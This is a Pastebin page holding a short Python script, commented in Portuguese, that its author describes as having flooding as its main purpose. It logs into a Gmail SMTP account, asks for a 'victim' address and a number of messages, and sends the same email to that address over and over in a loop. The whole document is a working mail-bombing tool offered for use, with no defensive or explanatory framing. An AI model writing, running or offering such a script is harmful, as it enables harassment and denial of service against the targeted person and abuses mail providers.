Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- !/usr/bin/python3
- #coding: utf-8
- # Script que envia e-mail, cuja função principal é flood
- # Developer: marcos Alexandre
- # Version: 1.1
- import smtplib
- import os
- import sys
- try:
- clear = os.system("clear") if os.name == "posix" else os.system("cls")
- print("==========================")
- print("* mandar emails E-mail *")
- print("* marcos Alexandre *")
- print("==========================")
- serv = smtplib.SMTP('smtp.gmail.com', 587)
- serv.ehlo()
- serv.starttls()
- user = str(input("\n[*] Digite seu e-mail: "))
- password = input("[*] Digite sua senha: ")
- to = str(input("[*] Digite o e-mail da vítima: "))
- numero = int(input("[+] Quantidade de e-mails: "))
- mensagem = str(input("[+] Digite a mensagem: "))
- try:
- serv.login(user, password)
- print("[+] Login concluído com sucesso!")
- except:
- print("[!] E-mail ou senha errados!")
- sys.exit()
- x = 0
- while(x < numero):
- serv.sendmail(user, to, mensagem)
- x += 1
- print("[-] Enviados:", x)
- if(x == numero):
- print("[*] Sucesso!")
- except KeyboardInterrupt:
- print("\n")
- print("[!] Você escolheu sair!")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement